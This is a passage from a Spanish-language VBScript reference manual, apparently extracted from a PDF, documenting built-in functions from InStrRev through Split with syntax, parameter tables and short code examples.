cadena1 es de longitud cero
0
cadena1 es Null
Null
cadena2 es de longitud cero
inicio
cadena2 es Null
Null
cadena2 no se encuentra
0
cadena2 se encuentra dentro de cadena1
Posición en la que se encuentra la coincidencia
inicio > Len(cadena2)
0
Comentarios Los siguientes ejemplos usan la función InStrRevpara buscar una cadena: Dim CadenaBusqueda, CaracterBusqueda, MiPos CadenaBusqueda ="XXpXXpXXPXXP" ' Cadena en la que se va a buscar. CaracterBusqueda = "P" ' Buscar "P". MiPos = InstrRev(CadenaBusqueda, CaracterBusqueda, 10, 0) ' Una comparación binaria que comienza en la ' posición 10. Devuelve 9. MiPos = InstrRev(CadenaBusqueda, CaracterBusqueda, -1, 1) ' Una comparación de texto que comienza en ' la última posición. Devuelve 12. MiPos = InstrRev(CadenaBusqueda, CaracterBusqueda, 8) ' Una comparación es binaria de forma predeterminada (se omite ' el último argumento). Devuelve 0.
Nota La sintaxis de la función InStrRev no es igual a la sintaxis de la función InStr.
Función IsArray Descripción Devuelve un valor de tipo Boolean que indica si una variable es o no una matriz.
Sintaxis
By KarlosVid(ÊÇ)
www.idat.byethost14.com
41
IsArray(nombredevariable) El argumento nombredevariable puede ser cualquier variable.
Comentarios IsArray devuelve True si la variable es una matriz. De lo contrario, devuelve False. IsArray es especialmente útil con datos de tipo Variant que contienen matrices. El siguiente ejemplo usa la función IsArray para verificar si MiVariable es una matriz: Dim MiVariable Dim MiMatriz(3) MiMatriz(0) = "Domingo" MiMatriz(1) = "Lunes" MiMatriz(2) = "Martes" MiVariable = IsArray(MiMatriz) ' MiVariable contiene "True".
Función IsDate Descripción Devuelve un valor de tipo Boolean que indica si una expresión se puede o no convertir en una fecha.
Sintaxis IsDate(expresión) El argumento expresión puede ser cualquier expresión de fecha o expresión de cadena reconocible como fecha u hora.
Comentarios IsDate devuelve True si la expresión es una fecha o si se puede convertir en una fecha válida. De lo contrario, devuelve False. En Microsoft Windows, el intervalo válido de fechas es desde el 1 de enero del año 100 hasta el 31 de diciembre del año 9999; los intervalos varían según el sistema operativo. El siguiente ejemplo usa la función IsDate para determinar si una expresión se puede o no convertir en una fecha: Dim MiFecha, SuFecha, NingunaFecha, MiComprobacion MiFecha = "October 19, 1962": SuFecha = #10/19/62#: NingunaFecha = "Hola" MiComprobacion = IsDate(MiFecha) ' Devuelve True. MiComprobacion = IsDate(SuFecha) ' Devuelve True. MiComprobacion = IsDate(NingunaFecha) ' Devuelve False.
Función IsEmpty Descripción Devuelve un valor de tipo Boolean que indica si una variable está iniciada.
Sintaxis IsEmpty(expresión)
By KarlosVid(ÊÇ)
www.idat.byethost14.com
42
El argumento expresión puede ser cualquier expresión. Sin embargo, como IsEmpty se usa para determinar si están iniciadas variables individuales, con frecuencia el argumento expresión es un único nombre de variable.
Comentarios IsEmpty devuelve True si la variable no está iniciada o si está establecida, explícitamente, a Empty. De lo contrario, devuelve False. Siempre se devuelve False si expresión contiene más de una variable. El siguiente ejemplo usa la función IsEmpty para determinar si una variable está iniciada: Dim MiVar, MiComprobacion MiComprobacion = IsEmpty(MiVar) ' Devuelve True. MiVar = Null ' Asigna Null. MiComprobacion = IsEmpty(MiVar) ' Devuelve False. MiVar = Empty ' Asigna Empty. MiComprobacion = IsEmpty(MiVar) ' Devuelve True.
Función IsNull Descripción Devuelve un valor de tipo Boolean que indica si una expresión contiene o no datos válidos (Null).
Sintaxis IsNull(expresión) El argumento expresión puede ser cualquier expresión.
Comentarios IsNull devuelve True si expresión es Null, es decir, si contiene datos no válidos. De lo contrario, IsNull devuelve False. Si expresión consta de más de una variable, Null en cualquier variable hace que se devuelva True para la expresión completa. El valor Null indica que la variable contiene datos no válidos. Null no es igual que Empty, que indica que una variable aún no está iniciada. Tampoco es igual que una cadena de longitud cero (""), también conocida como cadena nula.
Importante Use la función IsNull para determinar si una expresión contiene o no un valor Null. Expresiones que bajo algunas circunstancias esperaría que fuesen igual a True, como If Var = Null o If Var <> Null, siempre son iguales a False. Esto se debe a que cualquier expresión que contiene Null es igual a Null y es, por lo tanto, igual a False. El siguiente ejemplo usa la función IsNull para determinar si una variable contiene Null: Dim MiVar, MiComprobacion MiComprobacion = IsNull(MiVar) ' Devuelve False. MiVar = Null ' Asigna Null. MiComprobacion = IsNull(MiVar) ' Devuelve True. MiVar = Empty ' Asigna Empty. MiComprobacion = IsNull(MiVar) ' Devuelve False.
Función IsNumeric By KarlosVid(ÊÇ)
www.idat.byethost14.com
43
Descripción Devuelve un valor de tipo Boolean que indica si una expresión se puede evaluar como un número.
Sintaxis IsNumeric(expresión) El argumento expresión puede ser cualquier expresión.
Comentarios IsNumeric devuelve True si toda la expresión se reconoce como un número. De lo contrario, devuelve False. IsNumeric devuelve False si expresión es una expresión de fecha. El siguiente ejemplo usa la función IsNumeric para determinar si una variable se puede evaluar como un número: Dim MiVar, MiComprobacion MiVar = 53 ' Asigna un valor. MiComprobacion = IsNumeric(MiVar) ' Devuelve True. MiVar = "459.95" ' Asigna un valor. MiComprobacion = IsNumeric(MiVar) ' Devuelve True. MiVar = "45 Help" ' Asigna un valor. MiComprobacion = IsNumeric(MiVar) ' Devuelve False.
Función IsObject Descripción Devuelve un valor de tipo Boolean que indica si una expresión hace referencia a un objeto de Automatización válido.
Sintaxis IsObject(expresión) El argumento expresión puede ser cualquier expresión.
Comentarios IsObject devuelve True si expresión es una variable del subtipo Object o un objeto definido por el usuario. De lo contrario, devuelve False. El siguiente ejemplo usa la función IsObject para determinar si un identificador representa una variable de objeto: Dim MiEntero, MiComprobacion, MiObjeto Set MiObjeto = Me MiComprobacion = IsObject(MiObjeto) ' Devuelve True. MiComprobacion = IsObject(MiEntero) ' Devuelve False.
Función Join Descripción By KarlosVid(ÊÇ)
www.idat.byethost14.com
44
Devuelve una cadena creada mediante la unión de varias subcadenas contenidas en una matriz.
Sintaxis Join(lista[, delimitador]) La sintaxis de la función Join tiene las siguientes partes: Parte
Descripción
lista
Requerido. Matriz unidimensional que contiene las subcadenas que se van a unir.
delimitador Opcional. Carácter de cadena que se usa para separar las subcadenas de la cadena devuelta. Si se omite se usa el carácter de espacio (" "). Si delimitador es una cadena de longitud cero, se concatenan todos los elementos de la lista sin ningún delimitador.
Comentarios El siguiente ejemplo usa la función Join para unir las subcadenas de MiMatriz: Dim MiCadena Dim MiMatriz(4) MiMatriz(0) = "Sr." MiMatriz(1) = "Luis " MiMatriz(2) = "Gullermo " MiMatriz(3) = "Romero " MiCadena = Join(MiMatriz) ' MiCadena contiene "Sr. Luis Guillermo Romero".
Función LBound Descripción Devuelve el subíndice más pequeño disponible para la dimensión indicada de una matriz.
Sintaxis LBound(nombredematriz[, dimensión]) La sintaxis de la función LBound tiene las siguientes partes: Parte
Descripción
nombredematriz Nombre de la variable de matriz, que cumple con las convenciones estándar de asignación de nombres de variables. dimensión
Número entero que indica de qué dimensión se devuelve el límite inferior. Use 1 para la primera dimensión, 2 para la segunda y así sucesivamente. Si se omite dimensión, se asume 1.
Comentarios La función LBound se usa con la función UBound para determinar el tamaño de una matriz. Use la función UBound para buscar el límite superior de una dimensión de una matriz. El límite inferior para cualquier dimensión siempre es 0.
Función LCase By KarlosVid(ÊÇ)
www.idat.byethost14.com
45
Descripción Devuelve una cadena convertida a minúsculas.
Sintaxis LCase(cadena) El argumento cadena es cualquier expresión de cadena válida. Si cadena contiene Null, se devuelve Null.
Comentarios Sólo se convierten a minúsculas las letras en mayúsculas; todas las letras en minúsculas y caracteres que no son letras no cambian. El siguiente ejemplo usa la función LCase para convertir letras mayúsculas en minúsculas: Dim MiCadena Dim LCaseString MiCadena = "VBSCript" LCaseString = LCase(MiCadena) ' LCaseString contiene "vbscript".
Función Left Descripción Devuelve un número de caracteres especificado a partir del lado izquierdo de una cadena.
Sintaxis Left(cadena, longitud) La sintaxis de la función Left tiene los siguientes argumentos: Parte
Descripción
cadena
Expresión de cadena a partir de la que se devuelven los caracteres que están más a la izquierda. Si cadena contiene Null, se devuelve Null.
longitud Expresión numérica que indica cuántos caracteres se van a devolver. Si es igual a 0, se devuelve una cadena de longitud cero (""). Si es mayor o igual al número de caracteres de cadena, se devuelve la cadena completa.
Comentarios Para determinar el número de caracteres que contiene cadena, use la función Len. El siguiente ejemplo usa la función Left para devolver los primeros tres caracteres de MiCadena: Dim MiCadena, CadenaIzquierda MiCadena = "VBSCript" CadenaIzquierda = Left(MiCadena, 3) ' CadenaIzquierda contiene "VBS".
Nota La función LeftB se usa con los datos de Byte contenidos en una cadena. En lugar de especificar el número de caracteres que se van a devolver, longitud especifica el número de bytes.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
46
Función Len Descripción Devuelve el número de caracteres en una cadena o el número de bytes necesarios para almacenar una variable.
Sintaxis Len(cadena | nombredevariable) La sintaxis de la función Len tiene las siguientes partes: Parte
Descripción
cadena
Cualquier expresión de cadena válida. Si cadena contiene Null, se devuelve Null.
nombredevariable
Cualquier nombre de variable válido. Si nombrevariable contiene Null, se devuelve Null.
Comentarios En el siguiente ejemplo se usa la función Len para devolver el número de caracteres que contiene una cadena: Dim MiCadena MiCadena = Len("VBSCRIPT") ' MiCadena contiene 8.
Nota La función LenB se usa con los datos de byte contenidos en una cadena. En lugar de devolver un número de caracteres en una cadena, LenB devuelve el número de bytes usados para representar dicha cadena.
Función LoadPicture Descripción Devuelve un objeto de imagen. Sólo está disponible en plataformas de 32 bits.
Sintaxis LoadPicture(nombredeimagen) El argumento nombredeimagen es una expresión de cadena que indica el nombre del archivo de imagen que se va a cargar.
Comentarios Los formatos gráficos reconocidos por LoadPicture incluyen archivos de mapa de bits (.bmp), archivos de iconos (.ico), archivos cifrados de longitud continua (.rle), metaarchivos (.wmf), metaarchivos mejorados (.emf), archivos GIF (.gif) y archivos JPEG (.jpg).
Función Log By KarlosVid(ÊÇ)
www.idat.byethost14.com
47
Descripción Devuelve el logaritmo natural de un número.
Sintaxis Log(número) El argumento número puede ser cualquier expresión numérica válida mayor que 0.
Comentarios El logaritmo natural es el logaritmo base e. La constante e es aproximadamente igual a 2.718282. Puede calcular logaritmos base n de cualquier número x si divide el logaritmo natural de x por el logaritmo natural de n como se muestra a continuación: Logn(x) = Log(x) / Log(n) El siguiente ejemplo muestra una función personalizada que calcula logaritmos base 10: Function Log10(X) Log10 = Log(X) / Log(10) End Function
Funciones LTrim, RTrim y Trim Descripción Devuelve una copia de una cadena sin espacios iniciales (LTrim), espacios finales (RTrim) o ambos (Trim).
Sintaxis LTrim(cadena) RTrim(cadena) Trim(cadena) El argumento cadena es cualquier expresión de cadena válida. Si cadena contiene Null, se devuelve Null.
Comentarios Los siguientes ejemplos usan las funciones LTrim, RTrim y Trim para recortar espacios iniciales, espacios finales y ambos, respectivamente: Dim MiVar MiVar = LTrim(" vbscript ") ' MiVar contiene "vbscript ". MiVar = RTrim(" vbscript ") ' MiVar contiene " vbscript". MiVar = Trim(" vbscript ") ' MiVar contiene "vbscript".
Función Mid Descripción Devuelve un números especificado de caracteres a partir de una cadena.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
48
Sintaxis Mid(cadena, inicio[, longitud]) La sintaxis de la función Mid tiene los siguientes argumentos: Parte
Descripción
cadena
Expresión de cadena a partir de la que se devuelven los caracteres. Si cadena contiene Null, se devuelve Null.
inicio
Posición de carácter en cadena en la que comienza la parte que se va a obtener. Si inicio es mayor que el número de caracteres que hay en cadena, Mid devuelve una cadena de longitud cero ("").
longitud Número de caracteres que se va a devolver. Si se omite o si hay menos caracteres que longitud en el texto (incluido el carácter que está en la posición inicio), se devuelven todos los caracteres desde la posición inicio hasta el final de la cadena.
Comentarios Para determinar el número de caracteres que hay en cadena, use la función Len. El siguiente ejemplo usa la función Mid para devolver seis caracteres, comenzando en el cuarto carácter, en una cadena: Dim MiVar MiVar = Mid("VB Script es divertido", 4, 6) ' MiVar contiene "Script".
Nota La función MidB se usa con los datos de byte contenidos en una cadena. En lugar de especificar el número de caracteres, los argumentos especifican el número de bytes.
Función Minute Descripción Devuelve un número entero entre 0 y 59, ambos incluidos, que representa el minuto de la hora.
Sintaxis Minute(hora) El argumento hora es cualquier expresión que puede representar una hora. Si hora contiene Null, se devuelve Null.
Comentarios El siguiente ejemplo usa la función Minute para devolver el minuto de la hora: Dim MiVar MiVar = Minute(Now)
Función Month Descripción Devuelve un número entero entre 1 y 12, ambos incluidos, que representa el mes del año.
Sintaxis By KarlosVid(ÊÇ)
www.idat.byethost14.com
49
Month(fecha) El argumento fecha es cualquier expresión que pueda representar una fecha. Si fecha contien Null, se devuelve Null.
Comentarios El siguiente ejemplo usa la función Mes para devolver el mes actual: Dim MiVar MiVar = Month(Now) ' MiVar contiene el número correspondiente ' al mes actual.
Función MonthName Descripción Devuelve una cadena que indica el mes especificado.
Sintaxis MonthName(mes[, abreviar]) La sintaxis de la función MonthName tiene las siguientes partes: Parte
Descripción
mes
Requerido. La designación numérica del mes. Por ejemplo, enero es 1, febrero es 2 y así sucesivamente.
abreviar
Opcional. Valor de tipo Boolean que indica si el nombre del mes se debe abreviar. Si se omite, el valor predeterminado es False, que significa que el nombre del mes no se debe abreviar.
Comentarios El siguiente ejemplo usa la función MonthName para devolver un nombre de mes abreviado para una expresión de fecha: Dim MiVar MiVar = MonthName(10, True) ' MiVar contiene "Oct".
Función MsgBox Descripción Muestra un mensaje en un cuadro de diálogo, espera a que el usuario haga clic en un botón y devuelve un valor que indica en qué botón hizo clic el usuario.
Sintaxis MsgBox(solicitud[, botones][, título][, archivodeayuda, contexto]) La sintaxis de la función MsgBox tiene los siguientes argumentos: Parte
Descripción
solicitud
Expresión de cadena que se muestra como mensaje en el cuadro de diálogo. La longitud máxima de solicitud es aproximadamente igual a 1024 caracteres, según el ancho de los caracteres usados.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
50
Si solicitud consta de más de una línea, puede seperar las líneas con un carácter de retorno de carro (Chr(13)), un carácter de avance de línea (Chr(10)) o la combinación de caracteres de retorno de carro y avance de línea (Chr(13) y Chr(10)) entre cada línea. botones
Expresión numérica que es igual a la suma de los valores que especifican la cantidad y el tipo de botones que se van a mostrar, el estilo de icono que se va a usar, la identidad del botón predeterminado y el modo de cuadro de diálogo. Consulte la sección Valores para saber cuáles son los valores permitidos. Si se omite, el valor predeterminado de botones es 0.
título
Expresión de cadena que se muestra en la barra de título del cuadro de diálogo. Si omite título, el nombre de la aplicación aparece en la barra de título.
archivodeayuda Expresión de cadena que identifica el archivo de Ayuda que se va a usar para proporcionar Ayuda contextual para el cuadro de diálogo. Si se proporciona archivodeayuda, también se debe proporcionar contexto. No está disponible en plataformas de 16 bits. contexto
Expresión numérica que identifica el número de contexto de Ayuda asignado por el creador de la Ayuda al tema de Ayuda adecuado. Si se proporciona contexto, también se debe proporcionar archivodeayuda. No está disponible en plataformas de 16 bits.
Valores Los valores del argumento botones son: Constante
Valor Descripción
vbOKOnly
0
Sólo muestra el botón Aceptar.
vbOKCancel
1
Muestra los botones Aceptar y Cancelar.
vbAbortRetryIgnore
2
Muestra los botones Anular, Reintentar e Ignorar.
vbYesNoCancel
3
muestra los botones Sí, No y Cancelar.
vbYesNo
4
Muestra los botones Sí y No.
vbRetryCancel
5
Muestra los botones Reintentar y Cancelar.
vbCritical
16
Muestra el icono de mensaje crítico.
vbQuestion
32
Muestra el icono de consulta de advertencia.
vbExclamation
48
Muestra el icono de mensaje de advertencia.
vbInformation
64
Muestra el icono de mensaje de información.
vbDefaultButton1
0
vbDefaultButton2
256
El segundo botón es el botón predeterminado.
vbDefaultButton3
512
El tercer botón es el botón predeterminado.
vbDefaultButton4
768
El cuarto botón es el botón predeterminado.
vbApplicationModal vbSystemModal
0 4096
El primer botón es el botón predeterminado.
Aplicación modal; el usuario debe responder al cuadro de mensaje antes de seguir trabajando en la aplicación actual. Sistema modal; todas las aplicaciones se suspenden hasta que el usuario responde al cuadro de mensaje.
El primer grupo de valores (0 a 5) describe el número y el tipo de botones mostrados en el cuadro de diálogo; el segundo grupo (16, 32, 48, 64) describe el estilo de iconos; el tercer grupo (0, 256, 512, 768) determina cuál es el botón predeterminado y el cuarto grupo (0, 4096) determina el modo del cuadro de mensaje. Al sumar números para crear un valor final para el argumento botones, use sólo un número de cada grupo.
Valores devueltos La función MsgBox devuelve los siguientes valores:
By KarlosVid(ÊÇ)
www.idat.byethost14.com
51
Constante
Valor Botón
vbOK
1
Aceptar
vbCancel
2
Cancelar
vbAbort
3
Anular
vbRetry
4
Reintentar
vbIgnore
5
Ignorar
vbYes
6
Sí
vbNo
7
No
Comentarios Cuando se proporcionan archivodeayuda y contexto, el usuario puede presionar F1 para ver el tema de Ayuda que corresponde al contexto. Si el cuadro de diálog muestra un botón Cancelar, si presiona la tecla ESC tiene el mismo efecto que si hace clic en Cancelar. Si el cuadro de diálogo contiene un botón Ayuda, se proporcionar Ayuda contextual para el cuadro de diálogo. Sin embargo, no se devuelve ningún valor hasta que no se presiona cualquiera de los otros botones. El siguiente ejemplo usa la función MsgBox para mostrar un cuadro de mensaje y devolver un valor que describe qué botón se presionó: Dim MiVar MiVar = MsgBox ("Hola mundo", 65, "Ejemplo de MsgBox")' MiVar contiene 1 o 2, ' según el botón en el que se haga ' clic.
Función Now Descripción Devuelve la fecha y hora actuales según la configuración de la fecha y hora de su sistema.
Sintaxis Now
Comentarios El siguiente ejemplo usa la función Now para devolver la fecha y hora actuales: Dim MiVar MiVar = Now ' MiVar contiene la fecha y hora actuales.
Función Oct Descripción Devuelve una cadena que representa el valor octal de un número.
Sintaxis By KarlosVid(ÊÇ)
www.idat.byethost14.com
52
Oct(número) El argumento número es cualquier expresión válida.
Comentarios Si número no es un número entero, se redondea al número entero más cercano antes de evaluarlo. Si número es
Oct devuelve
Null
Null.
Empty
Cero (0).
Cualquier otro número
Hasta 11 caracteres octales,
Puede representar números octales directamente, precediendo los números del intervalo adecuado con &O. Por ejemplo, &O10 es la notación octal para el número 8 decimal. El siguiente ejemplo usa la función Oct para devolver el valor octal de un número: Dim MiOct MiOct = Oct(4) ' Devuelve 4. ' Devuelve 10. MiOct = Oct(8) MiOct = Oct(459) ' Devuelve 713.
Función Replace Descripción Devuelve una cadena en la que una subcadena especificada se reemplazó por otra subcadena un número de veces especificado.
Sintaxis Replace(expresión, buscar, reemplazarcon[, inicio[, cuenta[, comparación]]]) La sintaxis de la función Replace tiene las siguientes partes: Parte
Descripción
expresión
Requerido.Expresión de cadena que contiene la subcadena que se va a reemplazar.
buscar
Requerido. Subcadena que se va a buscar.
reemplazarcon Requerido. Subcadena de reemplazo. inicio
Opcional. Posición dentro de expresión donde debe comenzar la búsqueda de la subcadena. Si se omite, se asume 1. Se debe usar junto con cuenta.
cuenta
Opcional. Número de sustituciones de subcadenas que se van a realizar. Si se omite, el valor predeterminado es -1, que significa que deben hacer todas las sustituciones posibles. Se debe usar junto con inicio.
comparación
Opcional. Valor numérico que indica el tipo de comparación que se va a usar al evaluar subcadenas. Consulte la sección Valores para saber cuáles son los valores permitidos. Si se omite, el valor predeterminado es 0, que significa que se debe realizar una comparación binaria.
Valores El argumento comparación puede tener los siguientes valores:
By KarlosVid(ÊÇ)
www.idat.byethost14.com
53
Constante
Valor
Descripción
vbBinaryCompare
0
Realiza una comparación binaria.
vbTextCompare
1
Realiza una comparación de texto.
Valores devueltos Replace devuelve los siguientes valores: Si
Replace devuelve
expresión es de longitud cero
Cadena de longitud cero ("").
expresión es Null
Un error.
buscar es de longitud cero
Una copia de expresión.
reemplazarcon es de longitud cero
Una copia de expresión con todas las coincidencias de buscar quitadas.
inicio > Len(expresión)
Cadena de longitud cero.
cuenta is 0
Copia de expresión.
Comentarios El valor devuelto por la función Replace es una cadena, con las sustituciones hechas, que comienza en la posición especificada por inicio y termina al final de la cadena expresión. No es una copia de la cadena original desde el inicio hasta el final. El siguiente ejemplo usa la función Replace para devolver una cadena: Dim MiCadena MiCadena = Replace("XXpXXPXXp", "p", "Y") ' Una comparación binaria ' que comienza en el principio de la cadena. Devuelve "XXYXXPXXY". MiCadena = Replace("XXpXXPXXp", "p", "Y", ' Una comparación de texto que comienza en la posición 3. ' Devuelve "YXXYXXY". 3, -1, 1)
Función RGB Descripción Devuelve un número entero que representa un valor de un color RGB.
Sintaxis RGB(rojo, verde, azul) La función RGB tiene las siguientes partes: Parte
Descripción
rojo
Requerido. Número en el intervalo entre 0 y 255 que representa el componente rojo del color.
verde
Requerido. Número en el intervalo entre 0 y 255 que representa el componente verde del color.
azul
Requerido. Número en el intervalo entre 0 y 255 que representa el componente azul del color.
Comentarios
By KarlosVid(ÊÇ)
www.idat.byethost14.com
54
Los métodos y propiedades de aplicaciones que aceptan una especificación de color esperan que la especificación sea un número que represente un valor de un color RGB. Un valor de un color RGB especifica la intensidad relativa de rojo, verde y azul para producir la visualización de un color específico. El byte menos significativo contiene el valor del rojo, el byte del medio contiene el valor del verde y el byte más significativo contiene el valor del azul. Para aplicaciones que requieren que el orden de los bytes se invierta, la siguiente función proporcion la misma información con los bytes invertidos: Function InvertirRGB(rojo, verde, azul) InvertirRGB= CLng(azul + (verde * 256) + (rojo * 65536)) End Function Se asume que el valor de cualquier argumento RGB que exceda 255, es 255.
Función Right Descripción Devuelve un número de caracteres especificado a partir del lado derecho de una cadena.
Sintaxis Right(cadena, longitud) La sintaxis de la función Right tiene los siguientes argumentos: Parte
Descripción
cadena
Expresión de cadena desde la que se devuelven los caracteres que están más a la derecha. Si cadena contiene Null, se devuelve Null.
longitud Expresión numérica que indica cuántos caracteres se van a devolver. Si es igual a 0, se devuelve una cadena de longitud cero. Si es mayor o igual al número de caracteres que hay en cadena, se devuelve toda la cadena.
Comentarios Para determinar el número de caracteres que hay en cadena, use la función Len. El siguiente ejemplo usa la función Right para devolver un número especificado de caracteres a partir del lado derecho de una cadena: Dim CualquierCadena, MiCad CualquierCadena = "Hola a todos" ' Define la cadena. MiCad = Right(CualquierCadena, 1) ' Devuelve "o". MiCad = Right(CualquierCadena, 6) ' Devuelve " todos". MiCad = Right(CualquierCadena, 20) ' Devuelve "Hola a todos".
Nota La función RightB se usa con los datos de byte contenidos en una cadena. En lugar de especificar el número de caracteres que se deben devolver, longitud especifica el número de bytes.
Función Rnd Descripción By KarlosVid(ÊÇ)
www.idat.byethost14.com
55
Devuelve un número aleatorio.
Sintaxis Rnd[(número)] El argumento número puede ser cualquier expresión numérica válida.
Comentarios La función Rnd devuelve un valor menor que 1 pero mayor o igual a 0. El valor de número determina cómo Rnd genera un número aleatorio: Si número es
Rnd genera
Menor que cero
El mismo número cada vez, con número como semilla.
Mayor que cero
El siguiente número aleatorio de la secuencia.
Igual a cero
El último número generado.
No suministrado
El siguiente número aleatorio de la secuencia.
Para cualquier semilla inicial proporcionada, se genera la misma secuencia de números porque cada llamada sucesiva a la función Rnd usa el número anterior como semilla para el siguiente número de la secuencia. Antes de llamar a Rnd, use la instrucción Randomize sin ningún argumento para iniciar el generador de números aleatorios con una semilla basada en el reloj del sistema. Para producir enteros aleatorios dentro de un intervalo específico, use esta fórmula: Int((límitesuperior - límiteinferior + 1) * Rnd + límiteinferior) Aquí, límitesuperior es el número más alto del intervalo y límiteinferior es el número más bajo del intervalo.
Nota Para repetir secuencias de números aleatorios, llame a Rnd con un número negativo como argumento, inmediatamente antes de usar Randomize con un argumento numérico. Si usa Randomize con el mismo valor para número no se repite la secuencia anterior.
Función Round Descripción Devuelve un número redondeado a un número especificado de posiciones decimales.
Sintaxis Round(expresión[, posicionesdecimales]) La sintaxis de la función Round tiene las siguientes partes: Parte
Descripción
expresión
Requerido. Expresión numérica que se va a redondear.
posicionesdecimales Opcional. Número que indica cuántas posiciones a la derecha del decimal se incluyen en el redondeo. Si se omite, la función Round devuelve enteros.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
56
Comentarios El siguiente ejemplo usa la función Round para redondear un número a dos posiciones decimales: Dim MiVar, pi pi = 3.14159 MiVar = Round(pi, 2) ' MiVar contiene 3.14.
Funciones LTrim, RTrim y Trim Descripción Devuelve una cadena que representa el lenguaje de secuencias de comandos que se está usando.
Sintaxis ScriptEngine
Valores devueltos La función ScriptEngine puede devolver cualquiera de las siguientes cadenas: Cadena
Descripción
VBScript
Indica que el motor de secuencias de comandos actual es Microsoft® Visual Basic® Scripting Edition.
JScript
Indica que el motor de secuencias de comandos actual es Microsoft JScript®.
VBA
Indica que el motor de secuencias de comandos actual es Microsoft Visual Basic for Applications.
Comentarios El siguiente ejemplo usa la función ScriptEngine para devolver una cadena que describe el lenguaje de secuencias de comandos que se está usando: Function ObtenerInformacionDeMotorDeSecuenciasDeComandos Dim s s = "" ' Genera una cadena con la información necesaria. s = ScriptEngine & " versión " s = s & ScriptEngineMajorVersion & "." s = s & ScriptEngineMinorVersion & "." s = s & ScriptEngineBuildVersion ObtenerInformacionDeMotorDeSecuenciasDeComandos = s ' Devolver los resultados. End Function
Función ScriptEngineBuildVersion Descripción Devuelve el número de versión de build del motor de secuencias de comandos que se está usando.
Sintaxis ScriptEngineBuildVersion
Comentarios El valor devuelto corresponde directamente a la información de versión contenida en la DLL del lenguaje de secuencias de comandos que se está usando.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
57
El siguiente ejemplo usa la función ScriptEngineBuildVersion para devolver el número de versión de build del motor de secuencias de comandos: Function ObtenerInformacionDeMotorDeSecuenciasDeComandos Dim s s = "" ' Generar una cadena con la información necesaria. s = ScriptEngine & " versión " s = s & ScriptEngineMajorVersion & "." s = s & ScriptEngineMinorVersion & "." s = s & ScriptEngineBuildVersion ObtenerInformacionDeMotorDeSecuenciasDeComandos = s ' Devolver los resultados. End Function
Función ScriptEngineMajorVersion ScriptEngineMajorVersion Descripción Devuelve el número de versión principal del motor de secuencias de comandos que se está usando.
Sintaxis ScriptEngineMajorVersion
Comentarios El valor devuelto corresponde directamente con la información de versión contenida en la DLL para el lenguaje de secuencias de comandos que se está usando. El siguiente ejemplo usa la función ScriptEngineMajorVersion para devolver el número de versión del motor de secuencias de comandos: Function ObtenerInformacionDeMotorDeSecuenciasDeComandos Dim s s = "" ' Generar una cadena con la información necesaria. s = ScriptEngine & " versión " s = s & ScriptEngineMajorVersion & "." s = s & ScriptEngineMinorVersion & "." s = s & ScriptEngineBuildVersion ObtenerInformacionDeMotorDeSecuenciasDeComandos = s ' Devolver los resultados. End Function
Función ScriptEngineMinorVersion Descripción Devuelve el número de versión secundaria del motor de secuencias de comandos que se está usando.
Sintaxis ScriptEngineMinorVersion
Comentarios El valor devuelto corresponde directamente con la información de versión contenida en la DLL para el lenguaje de secuencias de comandos que se está usando.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
58
El siguiente ejemplo usa la función ScriptEngineMinorVersion para devolver el número de versión secundaria del motor de secuencias de comandos: Function ObtenerInformacionDeMotorDeSecuenciasDeComandos Dim s s = "" ' Generar una cadena con la información necesaria. s = ScriptEngine & " versión " s = s & ScriptEngineMajorVersion & "." s = s & ScriptEngineMinorVersion & "." s = s & ScriptEngineBuildVersion ObtenerInformacionDeMotorDeSecuenciasDeComandos = s ' Devolver los resultados. End Function
Función Second Descripción Devuelve un número entero entre 0 y 59, ambos incluidos, que representa el segundo del minuto.
Sintaxis Second(hora) El argumento hora es cualquier expresión que pueda representar una hora. Si hora contiene Null, se devuelve Null.
Comentarios El siguiente ejemplo usa la función Second para devolver el segundo actual: Dim MiSeg MiSeg = Second(Now) ' MiSeg contiene el número que representa el segundo actual.
Función Sgn Descripción Devuelve un entero que indica el signo de un número.
Sintaxis Sgn(número) El argumento número puede ser cualquier expresión numérica válida.
Valores devueltos La función Sgn devuelve los siguientes valores: Si número es
Sgn devuelve
Mayor que cero
1
Igual a cero
0
Menor que cero
-1
Comentarios By KarlosVid(ÊÇ)
www.idat.byethost14.com
59
El signo del argumento número determina el valor devuelto de la función Sgn. El siguiente ejemplo usa la función Sgn para determinar el signo de un número: Dim MiVar1, MiVar2, MiVar3, MiSigno MiVar1 = 12: MiVar2 = -2.4: MiVar3 = 0 MiSigno = Sgn(MiVar1) ' Devuelve 1. MiSigno = Sgn(MiVar2) ' Devuelve -1. MiSigno = Sgn(MiVar3) ' Devuelve 0.
Función Función Sin Descripción Devuelve el seno de un ángulo.
Sintaxis Sin(número) El argumento número puede ser cualquier expresión numérica válida que exprese un ángulo en radianes.
Comentarios La función Sin recibe un ángulo y devuelve el radio o proporción de dos lados de un triángulo rectángulo. El radio o proporción es la longitud del lado opuesto al ángulo dividido por la longitud de la hipotenusa. El resultado está dentro del intervalo desde -1 hasta 1. Para convertir grados en radianes, multiplique los grados por pi/180. Para convertir radianes en grados, multiplique los radianes por 180/pi. El siguiente ejemplo usa la función Sin para devolver el seno de un ángulo: Dim MiAngulo, MiCosecante MiAngulo = 1.3 ' Define un ángulo en radianes. MiCosecante = 1 / Sin(MiAngulo) ' Calcula la cosecante.
Función Space Descripción Devuelve una cadena que consta del número de espacios especificado.
Sintaxis Space(número) El argumento número es el número de espacios que desea en la cadena.
Comentarios El siguiente ejemplo usa la función Space para devolver una cadena que consta de un número de espacios especificado: Dim MiCadena MiCadena = Space(10) ' Devuelve una cadena con 10 espacios. MiCadena = "Hola" & Space(10) & "mundo" ' Inserta 10 espacios entre las dos cadenas.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
60
Función Split Descripción Devuelve una matriz unidimensional, basada en cero, que contiene un número especificado de subcadenas.
Sintaxis Split(expresión[, delimitador[, cuenta[, comparación]]]) La sintaxis de la función Split tiene las siguientes partes: Parte
Descripción
expresión
Requerido. Expresión de cadena que contiene las subcadenas y delimitadores. Si expresión es una cadena de longitud cero, Split devuelve una matriz vacía, es decir, una matriz sin elementos ni datos.
delimitador
